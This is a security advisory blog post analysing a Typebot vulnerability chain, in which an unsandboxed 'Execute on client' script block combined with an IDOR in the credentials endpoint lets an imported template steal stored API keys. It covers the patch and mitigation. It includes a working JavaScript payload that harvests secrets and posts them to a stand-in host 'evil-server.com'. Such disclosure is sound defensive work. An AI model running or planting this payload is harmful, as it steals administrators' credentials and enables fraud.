Typebot IDOR & XSS: Automating the Theft of Your Own API Keys
Jan 23, 2026·7 min read·4 visits
Executive Summary (TL;DR)
Typebot's "Execute on Client" feature allowed un-sandboxed JavaScript execution. Combined with a backend authorization flaw (IDOR) in the `credentials.getCredentials` endpoint, this allows anyone who can convince a Typebot admin to preview a malicious template to instantly steal every API key and secret stored in that Typebot instance.
A critical chain of vulnerabilities in Typebot allows attackers to craft malicious bot templates that, when previewed by a victim, execute arbitrary JavaScript to harvest and exfiltrate all stored secrets (OpenAI keys, SMTP passwords, etc.) via a backend IDOR.
The Hook: "Low Code" Meets High Risk
Typebot is the darling of the open-source chatbot world. It promises a slick, "Notion-like" interface for building conversational flows without writing a line of code. But like every tool that promises to abstract away complexity, it eventually hands you a gun and points it directly at your foot.
The feature in question is the "Script" block. Specifically, the option to "Execute on client." It sounds innocent enough—maybe you want to trigger a confetti animation when a user subscribes, or log a custom event to Google Analytics. To the developer, this is a feature. To a hacker, this is free Real Estate inside the victim's authenticated session.
Here is the setup: You are a Typebot administrator. You see a cool template on a community forum promising "Advanced AI Lead Generation." You download the JSON file, import it into your self-hosted Typebot instance, and hit "Preview" to see how it works. Congratulations. In the time it took for the chat bubble to pop up, an invisible script has already scraped your OpenAI API keys, your SMTP credentials, and your Google Sheets tokens, and mailed them to a server in Panama. You didn't even click a link.
The Flaw: A Tale of Two Bugs
This exploit is a masterclass in chaining vulnerabilities. It relies on two distinct failures working in perfect, terrible harmony: a lack of client-side isolation (XSS-lite) and a lack of backend authorization (IDOR).
1. The Client-Side Execution (The Vehicle)
Prior to version 3.13.2, the code in a "Script" block ran directly in the user's browser context with zero sandboxing. It wasn't running in an iframe or a Web Worker; it was running right there in the main thread. This means it had full access to the window object, document.cookie (if not HttpOnly), and crucially, the ability to make fetch requests that automatically included the user's session cookies. It essentially granted the script the same privileges as the logged-in administrator.
2. The Backend IDOR (The Payload)
Usually, getting XSS on an admin is bad, but you still need to find something to steal. Typebot made this frighteningly easy. The backend exposes a tRPC endpoint: /api/trpc/credentials.getCredentials. This endpoint takes a credentialsId and returns the plaintext secret (e.g., your sk-proj-... OpenAI key).
The fatal flaw? The endpoint checked if you were logged in, but it didn't check if you owned the credential. If I know the UUID of a credential, I can fetch it. And how do I get the UUIDs? There is a list endpoint for that, too. It's the classic "Insecure Direct Object Reference"—like a bank vault that opens for anyone wearing a bank uniform, regardless of whose safety deposit box they are trying to drill.
The Code: Anatomy of the Patch
The fix implemented in version 3.13.2 is fascinating because it doesn't just patch the IDOR; it fundamentally changes how scripts are executed. The developers realized that allowing arbitrary code execution in the main thread is a ticking time bomb.
They introduced a scriptRunner that uses a Web Worker to act as a sandbox. But they went a step further. They overrode the global fetch function inside that worker to strip credentials.
Here is the critical diff from packages/embeds/js/src/features/blocks/logic/script/executeScript.ts and the new runner logic:
// THE FIX: Creating a safe fetch wrapper
const safeFetch = async (input: RequestInfo, init?: RequestInit) => {
const safeInit = {
...(init || {}),
credentials: 'omit', // <--- THE KILL SWITCH
};
return originalFetch(input, safeInit);
};
// Nuke other networking capabilities
self.XMLHttpRequest = () => {
console.warn("XMLHttpRequest is disabled in preview mode.");
};
self.WebSocket = () => {
console.warn("WebSocket is disabled in preview mode.");
};By forcing credentials: 'omit', even if the malicious script tries to call the internal API, the browser refuses to send the session cookies. The request hits the backend as an unauthenticated ghost and is immediately rejected. It's a brilliant defense-in-depth approach: even if the backend IDOR remains (which it shouldn't), the client-side vector is neutralized.
The Exploit: Weaponizing JSON
Let's walk through how an attacker would actually pull this off. This isn't a "spray and pray" attack; it's a supply chain attack targeting Typebot creators.
Step 1: The Lure
The attacker crafts a valid Typebot export file (malicious-bot.json). Inside one of the flow logic blocks, they insert a Javascript execution block.
Step 2: The Payload The payload needs to be quiet. It iterates through the user's credentials and exfiltrates them. Here is a simplified version of what that script looks like:
// 1. Get the list of credentials for the current user
const listReq = await fetch(
'/api/trpc/credentials.listCredentials?input={"json":{"scope":"user"}}'
);
const listData = await listReq.json();
const creds = listData.result.data.json.credentials;
// 2. Loop through and steal the plaintext secrets
const lootedSecrets = [];
for (const cred of creds) {
const secretReq = await fetch(
`/api/trpc/credentials.getCredentials?input={"json":{"credentialsId":"${cred.id}","scope":"user"}}`
);
const secretData = await secretReq.json();
lootedSecrets.push({
name: cred.name,
key: secretData.result.data.json.data.apiKey // JACKPOT
});
}
// 3. Send to attacker
await fetch('https://evil-server.com/collect', {
method: 'POST',
body: JSON.stringify(lootedSecrets)
});Step 3: The Trigger
The attacker posts this JSON on GitHub or a Typebot Discord server: "Hey guys, made a bot that auto-magically handles refunds using AI!" The victim imports it. The moment they click "Test" or "Preview," the browser executes the JS. Because the victim is logged into their Typebot dashboard, the browser helpfully attaches their session cookie to the API requests. The server sees a valid request from the Admin asking for secrets, and happily complies.
The Impact: Why You Should Care
This isn't just about defacing a chatbot. The impact here is direct financial and data loss.
1. Financial Theft: Most Typebot users plug in their OpenAI API keys. These keys often have high spending limits. An attacker can steal your key and resell it or use it to power their own massive botnets, racking up thousands of dollars in bills before you notice.
2. Data Exfiltration: Typebot integrates with Google Sheets. By stealing the OAuth tokens or service account credentials, an attacker can read every spreadsheet the bot has access to. Customer lists, leads, internal data—gone.
3. Phishing Campaigns: Stolen SMTP credentials allow the attacker to send emails from your domain. They can use your own reputation to launch phishing campaigns against your customers, further destroying your brand.
The Fix: Trust No One (Not Even Yourself)
If you are self-hosting Typebot, you need to update to v3.13.2 immediately. The patch introduces a concept of "Provenance."
When you import a bot now, it is flagged as isUnsafe. The UI puts up a giant warning barrier. If you try to run it, the system yells at you: "This code was imported. Do you trust it?"
Furthermore, the technical implementation of moving execution to a restricted Web Worker is a pattern every SaaS allowing "custom code" should follow. It creates a blast radius. Even if the code is malicious, it can't reach outside its sandbox to touch the parent session's cookies. It's like letting a stranger use your computer, but logging them into a Guest account with no WiFi access first.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Typebot BaptisteArno | < 3.13.2 | 3.13.2 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (N) |
| Complexity | Low (L) |
| Privileges Required | None (N) - Social Engineering |
| User Interaction | Required (R) - Victim must preview/run bot |
| CVSS v3.1 | 7.4 (High) |
| CWE ID | CWE-639 (Authorization Bypass) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
Insecure Direct Object Reference (IDOR) allows attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.